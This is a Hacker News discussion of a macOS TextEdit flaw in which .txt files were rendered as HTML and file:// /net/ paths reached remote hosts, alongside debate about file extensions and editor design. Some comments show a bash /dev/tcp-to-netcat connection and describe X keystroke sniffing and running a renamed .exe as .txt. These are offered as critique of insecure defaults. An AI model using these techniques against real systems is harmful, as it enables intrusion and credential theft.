| It's IMHO either too simple or too complicated. On
| Windows I prefer either ShareX or Paint.Net
| jrochkind1 wrote:
| It can sort of hackily fill some extremely extremely basic
| functions (I know cause I do it too), but even that is
| pretty hacky, like how do you create a new blank document
| 800px by 600px to start painting on?
| dylan604 wrote:
| oh come on, how much more do you need than a crayon based
| color picker? ever set the date of your system to waaay into
| the future and then look at the crayon color picker? after
| providing that, what else could you possibly need?
| na85 wrote:
| What does that do?
| dylan604 wrote:
| just like a box of crayons. when they are new, all of the
| lables are crisp and clean, and the edges of the crayons
| are square/flat. after using the crayons, the tips become
| rounded, and you have to peel the labels back as the
| crayon wears down.
|
| so does the crayon color picker. at least it did in older
| versions of the OS. haven't looked at it in a reallly
| long time, as it was def a gimmick more than function
| jrochkind1 wrote:
| I too have been annoyed to not have a simple bundled paint
| program (I remmeber MacPaint!), but bundled application
| software is not really what determines whether an OS is a
| decent desktop OS.
| perryizgr8 wrote:
| It's not the only factor, but definitely one of the most
| important ones.
| Wowfunhappy wrote:
| I actually strongly disagree. Bundled applications which
| I don't use and/or will replace with more powerful third
| party options just add clutter. There's a balance to be
| sure, but I generally think OS's bundle too _many_ apps!
| jrochkind1 wrote:
| Why would the quality of an OS be determined by what apps
| come bundled with it? An OS is a different thing than
| applications, it's what the applications run on. I think
| you have an unusual viewpoint.
| perryizgr8 wrote:
| Because people generally want their computer to be usable
| when they buy it. Imagine if OSes did not include a text
| editor, browser, file explorer, settings app, wifi
| connection tool, etc. MS paint is similarly a very basic
| part of the standard toolset.
| philistine wrote:
| I know it's not the same AT ALL, but there are drawing
| controls in Notes.app
| userbinator wrote:
| Two words: excessive complexity.
|
| It's always seemed strange that an application called TextEdit is
| actually more than a text editor. I strongly believe that
| content-type autodetection, much less HTML rendering(!), most
| certainly does not belong in a text editor.
| movedx wrote:
| Agreed. This problem exists because someone wrote a tool that
| should only do one (really well) and but instead made it do
| five different things.
| ethbr0 wrote:
| That sound in the background is emacs laughing.
| eurasiantiger wrote:
| You can press ctrl-super-meta-Y= to make it stop.
| digitaltrees wrote:
| Underrated.
| tsimionescu wrote:
| I don't think it will accept the command if it knows you
| learned it as anything other than C-S-M-Y=.
| azinman2 wrote:
| According to you. I appreciate that TextEdit is a rich
| editor. I can use vim or countless other apps for plain text.
| Few do what TextEdit does with its simplicity.
| movedx wrote:
| Aye. According to me. I have a preference for tools doing
| one thing, and one thing well. That attitude has served me
| very well.
|
| Your opinion is that you like TextEdit for what it is.
|
| Neither opinion/feeling is relevant.
| fouric wrote:
| Neither is the opinion that "This problem exists because
| someone wrote a tool that should only do one (really
| well) and but instead made it do five different things."
|
| You can make security bugs in simple tools - this
| security bug is not purely a function of the number of
| target use-cases.
|
| Nor do you have any rational basis for asserting that the
| given app "should only do one [thing]".
| marcosdumay wrote:
| So, keeping the GP rationale, do you see any gain from
| TextEdit opening txt files?
| A4ET8a8uTh0 wrote:
| I think this captures my sentiment on the matter as well.
| Applications today want to be a swiss army knife and do just
| about every job.. and do it poorly. I do expect that level of
| complexity from RStudio, but probably not from Notepad. I would
| probably kinda accept it in Notepad++.
|
| So real question. Is TextEdit a default text editor in a mac?
| kergonath wrote:
| TextEdit is closer to WordPad than Notepad in terms of
| functionality. It supports rich text edition, and is more
| than a plain text editor.
| bobbylarrybobby wrote:
| It seems like the only real issue here is that a file:// URL
| can make a network request. Who could ever think that that
| would be a good idea?
| aaronharnly wrote:
| People who were building next-generation networked computers
| in the late 1980s and 1990s?
| Tepix wrote:
| No, the fact that .TXT files got interpreted as HTML is
| worse.
| kergonath wrote:
| Rigidly interpreting documents depending on their file
| extension is worse than trying to figure out the type of a
| document before interpreting it. File extensions are a
| brittle and primitive system that does not fix any security
| issue.
| lmm wrote:
| File extensions are simple and, crucially, visible and
| understandable to the user. They're far better than any
| proposed alternative.
| fouric wrote:
| Optimizing for "simple" for the sake of robustness is
| exactly backward.
|
| > visible and understandable
|
| False. Something is neither visible nor understandable if
| it's misleading - which file extensions are. There are
| absolutely no guarantees that a file extension will match
| file contents, and that assumption can cause security
| risks - like in this article.
|
| An actually good alternative is to encode file type as
| metadata, instead of inside the file contents or file-
| name, and then configure viewers to display it. That,
| while not "simple", is also visible and understandable to
| the user, while simultaneously being safe.
| lmm wrote:
| > There are absolutely no guarantees that a file
| extension will match file contents, and that assumption
| can cause security risks
|
| Only in software that ignores the extension.
|
| > An actually good alternative is to encode file type as
| metadata, instead of inside the file contents or file-
| name, and then configure viewers to display it. That,
| while not "simple", is also visible and understandable to
| the user, while simultaneously being safe.
|
| Metadata can be just as wrong as a file extension, and is
| generally far less visible.
| zimpenfish wrote:
| > a file:// URL can make a network request. Who could ever
| think that that would be a good idea?
|
| Anyone with networked filesystems, I should imagine?
| rualca wrote:
| >>Anyone with networked filesystems, I should imagine?
|
| You're either missing the point made by GP or being
| disingenuous. Please keep in mind that you need to
| explicitly mount a NFS before you're able to open it, and
| mounting a NFS not only requires explicit authorization but
| also only provides access to a specific file system mounted
| in a specific point following specific permissions.
|
| Accessing the whole internet through file:// without being
| prompted for permissions or consent or even awareness is an
| entirely different thing. For starters, the access is not
| explicit nor subjected to conditions.
| dewlinedew2 wrote:
| shoulda used 'cat
| aruggirello wrote:
| that wouldn't work nicely with the mouse :)
| zrobotics wrote:
| That's what the on-screen keyboard is for. Even works with
| the touchscreen, no mouse required! Eminently usable.
| jclulow wrote:
| Using cat with arbitrary input exposes you to many terminal-
| side security issues. It is _insufficiently_ complex.
| bawolff wrote:
| It can do some sketchy things and rewrite your terminal in
| weird confusing ways, but afaik most of the out-and-out
| malicious escape sequences have been patched out at least a
| decade ago.
| cyphar wrote:
| Alternatively use "cat -v" and any terminal escape
| characters will be escaped.
| cyberpunk wrote:
| Such as?
| jclulow wrote:
| Any vulnerability in the escape sequence handling of the
| terminal emulator, and conceivably, depending on what
| sequences your terminal supports, access to facilities
| like local file generation or clipboard contents. There
| have been a number of issues with escape sequences
| injected into things people might copy and paste from a
| web page, or in git commit histories, that have done
| nefarious things.
| edgyquant wrote:
| Cat has long been known to expose you to code execution,
| among other things.
|
| https://security.stackexchange.com/questions/56307/can-
| cat-i...
| Qwertious wrote:
| If you don't want text editors to do non text-editing stuff,
| then people need to stop saying we should build development
| environments around text editors. "An IDE is just a text editor
| with bells and whistles", people say. Well if that's the case,
| it's not surprising if people "only ship the one text editor".
| smoldesu wrote:
| I don't know anyone who says that an IDE is just a text
| editor with bells and whistles. Visual Studio Code is a text
| editor with more bells and/or whistles than a choo-choo
| train, but that doesn't make it any more of an IDE than nano
| and termux.
| eloff wrote:
| VS code is an IDE by any reasonable measure. Nano is not.
| aksss wrote:
| It compiles and debugs, that seems like an IDE to me.
|
| VS Code is cool and all, but it definitely is a lot more
| manual and laborious than VS. the tooling and automation in
| VS is missed if you're used to it.
| Railsify wrote:
| But not with file extensions of .txt. They should only do
| bells and whistles if the extension warrants some bells. .md,
| sure syntax highlight me. But opening .txt and treating it as
| html, that seems strange.
| cyphar wrote:
| Well, on Unix file extensions are a convention and don't
| have any strict semantic meaning. Maybe this doesn't make
| sense in a world where most people _do_ think in terms of
| file extensions (thanks to the popularity of Windows) but
| it shouldn 't be surprising that non-Windows programs might
| not special-case file extensions.
|
| (Though in fairness, text editors do usually have special
| casing for file extensions and these days tools like ls
| will colour filenames based on the extension.)
| tsimionescu wrote:
| This is only a Unix vs Windows thing in terms of the
| application launcher and how it is implemented. File
| extensions are semantically meaningful for many unix
| tools, most notably gcc.
| kergonath wrote:
| Also meaningless for vastly more UNIX tools. Also, Gnu's
| not UNIX.
| irq wrote:
| > But opening.txt and treating it as html, that seems
| strange.
|
| I'd go as far as to call it negligent, not merely strange.
| [deleted]
| throwawayboise wrote:
| TextEdit dates back to NeXTStep, so it was originally written
| in the late 1980s probably. Guessing it didn't render HTML
| originally, but it always had RTF capability. Not that it's an
| excuse in 2021, but very few applications from that era woudl
| be considered "safe" today.
| thought_alarm wrote:
| Edit.app is the original NeXTSTEP text editor from the 1989.
| It supported plain text and rich text files. Famously, the
| first web browser was based on the rich text capabilities
| built into NeXSTEP.
|
| TextEdit.app is the OpenStep rewrite of Edit.app and dates to
| the mid 1990s. It was likely one of the first OpenStep apps.
| It supported the same rich text files as the original
| Edit.app.
|
| Apple bought NeXT, OpenStep became Cocoa, TextEdit was ported
| to Java, and then back to garbage collected Objective-C, then
| ARC Objective-C, (then Swift, probably).
|
| Along the way it picked up features for
| reading/writing/editing HTML and Microsoft Word documents.
|
| Apple used to publish the source code for TextEdit as part of
| their Xcode sample code, but they stopped a few years ago.
| Wowfunhappy wrote:
| > TextEdit was ported to Java
|
| Wait, what? Wow, that's nuts!
| anaerobicover wrote:
| > Apple used to publish the source code for TextEdit as
| part of their Xcode sample code, but they stopped a few
| years ago.
|
| The URL still works if you want it, but, yeah, it's
| obviously not up-to-date:
|
| https://developer.apple.com/library/archive/samplecode/Text
| E...
|
| > (then Swift, probably).
|
| Not yet at least; there's no Swift symbols in the binary on
| Big Sur.
| fiddlerwoaroof wrote:
| Yeah, I think TextEdit.app is supposed to be a showcase for
| the Cocoa text system, really.
| simonh wrote:
| This was fixed in 2020 so no need for any excuses in 2021.
| mceachen wrote:
| An example of "unsafe defaults:"
|
| NeXT used Display PostScript for the display manager. If you
| opened an email that had PostScript commands, the mail agent
| would happily, automatically, execute them.
|
| A favorite payload sent around the computer lab would smear
| all pixels downward to "melt" whatever was rendered on your
| display.
|
| Note that there weren't that many interesting things to
| exfiltrate back then, so this wasn't a terrible default:
| there wasn't (any!) online commerce, online banking was rare,
| and even passwords were never echoed to the terminal.
| icedchai wrote:
| You don't need a password to be echoed to exfiltrate it.
| You just need the key codes. Not sure about NeXTStep, but
| regular old X let you sniff keys really easily.
|
| Some systems (specifically, earlier versions of SGI IRIX)
| shipped with X authorization disabled by default. This is
| the equivalent of "xhost +". You could sniff a box as soon
| as it was plugged into the network, including capturing
| login session credentials, all terminal commands, and
| anything else. When they su'd to root, yes, you'd capture
| the root password.
|
| In those days (mid 90's) almost nobody was running
| firewalls. At least, nobody in these parts. Putting your
| "office on the Internet" meant raw, unfiltered IP.
| BlueTemplar wrote:
| These days too, IPv6 tends to be firewall-free. In theory
| there are protections though, like regularly changing
| suffixes.
|
| Do MacOS and Ubuntu ship with firewalls?
| 13of40 wrote:
| Here's an interesting quirk in Windows: There are two APIs to
| execute external programs, CreateProcess and ShellExecute.
| CreateProcess is the older of the two and only runs
| executables. ShellExecute opens the target with whatever app is
| associated with the extension.
|
| When they shoehorned the ShellExecute behavior into cmd.exe,
| they basically just said "if (!CreateProcess(foo))
| {ShellExecute (foo)}"
|
| As a result, if you take "foo.exe" and rename it "foo.txt" then
| try to run it like "C:\>foo.txt" from the command line, it will
| run as an executable instead of opening in Notepad like you
| would expect. Do the same with a real text file (that doesn't
| start with "MZ") and it opens in Notepad.
| COGlory wrote:
| This is a frustrating behavior on Windows, not because it's
| possible, but because it's default. I vastly prefer the way
| KDE performs. Whatever the default program to open that file
| type is attempts to open it. You can easily change what the
| default is.
|
| It's frustrating when I instinctively change a file extension
| on Windows so I can do some other operation with it (say
| changing a configuration file to .txt to edit it) and Windows
| still doesn't know what to do with it.
|
| I'm not averse to the behavior, I just wish I could control
| when it happens.
| ectopod wrote:
| Being pedantic, CreateProcess is more fundamental but
| ShellExecute, dating back to 16-bit Windows, is older.
| renox wrote:
| Yesterday grep didn't work because it 'autodetected' that the
| target file was a binary.. So I 1) cursed whoever made this non
| backward compatible change 2) used man to find the '-a'
| option..
| indigodaddy wrote:
| Hah, looks like I've been needlessly typing quite a few extra
| keystrokes, as I've always done --binary-files=text. I should
| have looked at the man page more closely..
| Wowfunhappy wrote:
| Text [?] Plain Text. TextEdit defaults to rtf. It supports html
| as an alternative to rtf, which is to say it can do basic
| formatting and nothing else.
|
| It's perfectly reasonable to expect a text editor to support
| more than literal unicode, and to work with a variety of
| commonly-used formats.
| thitcanh wrote:
| It seems people are hunk TextEdit is the macOS equivalent of
| Notepad.exe while instead it's more like WordPad
| jaxn wrote:
| But is it reasonable to treat a .txt as anything other than
| plain text?
| rualca wrote:
| You should read the article before commenting.
|
| The blog post states that the contents of said "text file"
| were quite literally <!DOCTYPE
| HTML><html><head></head><body>
|
| This is not a mere text file. At all. This is a HTML
| document that might be deemed valid by a very permissive
| validator.
|
| Just because HTML might be stored in a text file that does
| not mean that a noncompliant HTML file ceases to be a HTML
| file.
| jaxn wrote:
| I read the article. I understand that. But what takes
| precedence, the first line or the extension.
| Wowfunhappy wrote:
| No, it's definitely not, that's a separate problem!
| crazygringo wrote:
| It's a _rich text_ editor by default. Rich text is still text.
|
| Opening HTML files and converting them to rich text certainly
| does belong as a valid feature for a rich text editor. It'll
| open and convert Word files too, which is super useful.
|
| The content-type autodetection, however, I agree was a bad
| idea. Still, this vulnerability presumably existed with an
| .html file opened in TextEdit.
| [deleted]
| Thorrez wrote:
| >Still, this vulnerability presumably existed with an .html
| file opened in TextEdit.
|
| It wouldn't have been as bad though. From the article:
|
| >Gatekeeper doesn't quarantine TXT files
| fiddlerwoaroof wrote:
| I assume the content-type autodetection exists because of how
| downloading files occasionally appends a .txt extension (I
| think this is when the content type is text/plain). Postel's
| law gets applied with the result of macOS attempting to make
| up for misconfigured servers.
| crazygringo wrote:
| Oh, man. The idea that TextEdit automatically parsed .txt files
| as HTML if they started with a certain file signature is
| problematic...
|
| ...but the fact that file:// schemes can access remote files by
| appending /net/ followed by a _domain name_ is pretty shocking.
|
| I mean, the entire purpose of "file://" would seem to be to
| provide access to local/mounted files and _only_ those.
|
| The fact that a Mac engineer thought it would be a great
| "feature" to allow file:// to access the entire internet is...
| kinda terrifying. Did _that_ get patched, or was it only
| TextEdit?
| bawolff wrote:
| > ...but the fact that file:// schemes can access remote files
| by appending /net/ followed by a domain name is pretty
| shocking.
|
| Not that shocking. Windows has had that with SMB networking for
| ages file://SMBSERVERNAME/path/file . Linux somewhat supports
| /dev/tcp/HOSTNAME/PORT (technically that's application level in
| bash so not everywhere), and im sure there's daemons you could
| run to automount things on the fly.
| tetha wrote:
| > Linux somewhat supports /dev/tcp/HOSTNAME/PORT (technically
| that's application level in bash so not everywhere), and im
| sure there's daemons you could run to automount things on the
| fly.
|
| Do note that this has been disabled in the major
| distributions at compile time for pretty much ever. The
| debian bug to build bash with that feature by default is ~20
| years old (and was closed as wontdo).
| exikyut wrote:
| On two different Debian 10 boxes bash seems to have it
| enabled: Terminal 1 $ echo hi >
| /dev/tcp/127.0.0.1/9999 Terminal 2 $ nc
| -vvvlp 9999 Listening on [0.0.0.0] (family 2, port
| 9999) Connection from 127.0.0.1 57540 received!
| hi $
| amenod wrote:
| For anyone wondering, it is enabled by default on Ubuntu
| too. I wonder what made someone think that this was a
| good idea?
| rijoja wrote:
| If you follow the everything is a file philosophy it
| seems quite natural does it not?
| soulofmischief wrote:
| Except permissions aren't granular enough / are too
| confusing, it's a giant footgun with the current Linux
| architecture, which doesn't have all the nice things
| Plan9 does
| bawolff wrote:
| I mean, unless you're host is extremely locked down
| you'll probably also have telnet,netcat, etc installed,
| so no great difference.
| nolok wrote:
| I'm no specialist but I'm inclined to disagree, for me
| it's the difference between the ability to run an
| arbitrary binary and the ability to read/write an
| arbitrary filepath
| kevinoid wrote:
| Although it was disabled in Debian bash 2.04-5 on
| 2000-06-05, it was re-enabled in bash 4.0-5 on 2009-09-13
| and is currently enabled. See https://metadata.ftp-
| master.debian.org/changelogs/main/b/bas...
| crazygringo wrote:
| SMB is more understandable though, since you have more trust
| for things on your local network, and an attacker usually
| won't have control over those resources. And it's a fairly
| common and reasonable expectation in a business environment
| that network drives appear as part of the filesystem.
|
| Whereas a domain name over the open internet is an entirely
| different story.
| bawolff wrote:
| Its been a while since i've done windows stuff, but i
| thought you could use IP addresses in addition to netbios
| names for smb - \\\1.2.3.4\share\file
| ngcc_hk wrote:
| Actually if I am not mistaken it is after they want to fight
| the browser war they break the barrier between the file
| system and internet system. It is not in the early version of
| windows or IE. the integration is one of the major mistakes
| Microsoft made. And surprise apple fall for it as well.
|
| Can't trust these two or ,,, who can we trust for network
| security.
| tim44 wrote:
| holy batman
| [deleted]
| benatkin wrote:
| The extension is meaningless outside of Windows...
| andylynch wrote:
| Far from it. Even Mac OS stopped using type and creator codes
| in favour of file extensions, 11 years ago (with snow
| leopard).
| tsimionescu wrote:
| File extensions are routinely used by all sorts of software,
| at least as hints if nothing else. For example, gcc will
| handle files named .c differently from files named .cpp, and
| will not even work with static libraries unless they are
| named .a.
| Thorrez wrote:
| It doesn't sound like that from the article:
|
| >the default text reader on OSX, TextEdit is used to open
| files with TXT extension by default.
|
| >Gatekeeper doesn't quarantine TXT files
| StavrosK wrote:
| Most likely nobody decided to have file:// access the network.
| Most likely, someone decided to make file:// the scheme for
| accessing files, and someone else decided to mount the network
| as a file.
| alfiedotwtf wrote:
| My memory is hazy, but I think this was a "feature" of Plan9
| neycoda wrote:
| A file can be accessed locally, on a private network, or over
| the internet. The fact that /net/ exists is redundant to http
| file download... so there's an argument there, but to access a
| local network file through http requires a webserver which may
| not be desired. So, having file /net/ solves that problem but
| of course could work the same way on an internet network so...
| we're kind of screwed really.
| SquibblesRedux wrote:
| Looking in /etc/auto_master, which is the configuration for
| Autofs, the /net mount point is commented out by default. I do
| not know when (or if) it was ever turned on by default.
| icedchai wrote:
| I'm stilling running Mojave (10.14.x) and it is uncommented.
| The file dates to 2014 so I suspect it was set up with the
| original OS that came with this machine.
| tmp538394722 wrote:
| Whether or not a default configuration is vulnerable is a
| pretty typical component of accessing a vulnerability's
| severity.
|
| Unfortunate that the author didn't mention this.
|
| Obviously this doesn't excuse the bug, but it's important to
| contextualize if we hope to compare relative impact and have
| frank discussions.
| comex wrote:
| The default configuration was, in fact, vulnerable at the
| time. Having it be commented out by default is new.
| saagarjha wrote:
| The vulnerability:
| https://www.fcvl.net/vulnerabilities/macosx-gatekeeper-
| bypas...
| azinman2 wrote:
| /net is really meant for things like nfs.
| comex wrote:
| It's not specific to the file:// URI scheme; /net is an actual
| filesystem path that works with anything that accesses paths.
| Or used to work, anyway; it was recently changed to be disabled
| by default.
| rualca wrote:
| > I mean, the entire purpose of "file://" would seem to be to
| provide access to local/mounted files and only those.
|
| This is the only story here. Everything else sounds like
| clueless hyperboles.
| tmp538394722 wrote:
| "Everything's a file!"
| rcrisan wrote:
| perhaps this is the worst possible abstraction to be
| protected by a security framework.
| extropy wrote:
| IMO not so much. Just assume all files are malicious unless
| accompanied by metadata saying otherwise. That is pretty
| much the status quo already.
|
| Except we have some grandfathered file types that are
| implicitly trusted.
| Jabbles wrote:
| In the article, the remote file's contents were not
| malicious, but merely trying to access it was. That would
| require a very different security posture to "assume all
| files are malicious".
| boomlinde wrote:
| The remote file is only one of two files in the story.
| DyslexicAtheist wrote:
| > the remote file's contents were not malicious
|
| until ... one day ... they are!
| Lucasoato wrote:
| And what about malicious metadata?
| ryandrake wrote:
| I don't think "everything is a file" is necessarily bad.
| What's worse is "every application I run has access to
| every resource that the OS gives my user access to".
|
| Would be nice if the operating system could set up a fresh,
| temporary "user" for each application installed, and
| instead run the application as that user, who starts out
| with no access to computing resources. Maybe some existing
| systems already sandbox apps into their own unprivileged
| users, I don't know, but it would probably be very secure.
| Blikkentrekker wrote:
| Modern operating systems can; there is quite granular
| control.
|
| But often when such sandboxes are attempted, it turns out
| that it often became more complex than originally
| thought, and applications need many resources which were
| not originally considered, so they are given those
| resources, and very often those resources can be used
| again to construct more resources or otherwise to some
| measure escape the sandbox.
| boomlinde wrote:
| How is that? Per-process namespaces in Plan 9 seem like a
| good idea for isolation. "Everything is a file," but what
| is and isn't accessible can be managed on a per-process
| level.
|
| In POSIX we only generally get a user/group level of
| granularity which seems to practically mean that only
| daemons are completely isolated.
| rualca wrote:
| > perhaps this is the worst possible abstraction to be
| protected by a security framework.
|
| I honestly don't understand how anyone with at least a
| basic understanding of how OSes are designed and operated
| could ever arrive at that conclusion. The layers of wrong
| assumptions required to support that assertion are in the
| level of "not even wrong" confusions.
| eeZah7Ux wrote:
| On the contrary, it's very good design.
| aenario wrote:
| I can see a way this would be useful to use the same
| abstraction to limit app/user web access to a single
| domain.
|
| For instance the dropbox binary can only access
| "/home/dropbox" and "/net/dropbox.com" if this was more
| well-known/used.
| rualca wrote:
| > "Everything's a file!"
|
| I fail to see how HTTP and REST's "everything is a resource"
| paradigm is significantly different than UNIX's "everything
| is a file" paradigm, and I'm yet to see anyone claim that the
| freedom and power to open any HTML document (OMG a file!)
| made available through the internet is a mistake or a bad
| design decision.
| wbl wrote:
| Several ways. In Unix files are streams of bytes. In HTTP
| resources are complex entities with MIME types, multiple
| representations, encodings, etc. HTTP URL structure
| supports parameters and there is a method for providing
| data and obtaining a result back, a sort of RPC.
|
| On the other side Unix has users and permissions, HTTP does
| not and you have to build your own.
| DyslexicAtheist wrote:
| _> In Unix everything is a file. Files are files, folders are
| files, disks are files, your keyboard is a file, your mouth
| is a file, the air is a file, you can 't breathe, your file
| lungs fill with files and you try to scream but only files
| come out oh god Dennis how could you do this_
|
| -- https://twitter.com/TartanLlama/status/1375045731644538882
| jjtheblunt wrote:
| I think it carries over from NeXTstep, iirc.
| ethbr0 wrote:
| It feels like a choice when "net" meant "my campus network",
| not "the internet."
|
| Because why would you be connected to the internet all the
| time? And how could you even afford those long distance
| calls?
| 1MachineElf wrote:
| Because why would you be connected to the internet all the
| time? And how could you even afford those long distance
| calls?
|
| That one East German guy in Cliff Stoll's The Cuckoo's Egg
| found a creative answer for both of those.
| wslh wrote:
| It reminds me of thinking that invoking the cat command is
| benign: https://seclists.org/bugtraq/1999/Sep/432
| Ansil849 wrote:
| > On the interface of TextEdit, it looked like you can do basic
| customization to your text (you can turn text bold, italic,
| change color etc...),
|
| I hate this about TextEdit. Is there a way to turn auto-
| formatting off? If I paste text, I want it to be stripped of any
| imported formatting.
| NaOH wrote:
| Edit > Paste And Match Style
| rangewookie wrote:
| when you open textedit you can change the mode to plain text
| with menu>format>make plain text.
| unnouinceput wrote:
| Oh, what do you know, Apple is using the same shitty playbook
| that Microsoft used and outgrew off from 90's. Remember when
| opening and interpreting everything by default was the source of
| all kind of malware because Microsoft thought
| usability/convenience must trump security? I remember. Nowadays
| they toned that down: - no more macros enabled by default, no
| more default autoplay, no more automatically opening mail
| attachments in Outlook, and definitely Notepad doesn't interpret
| HTML tags within anything you threw at, including .html files.
| isjamesalive wrote:
| > This vulnerability was reported to Apple in Dec 2019, and it
| got patched somewhere in 2020. I don't know why a CVE-2019 ID is
| given.
|
| FYI: The year part of a CVE ID is either when the ID was assigned
| or when the issue was publicised:
| https://cve.mitre.org/about/faqs.html#year_portion_of_cve_id
|
| Not (as I had assumed) when the vulnerable software was first
| published.
___________________________________________________________________
(page generated 2021-04-03 23:01 UTC)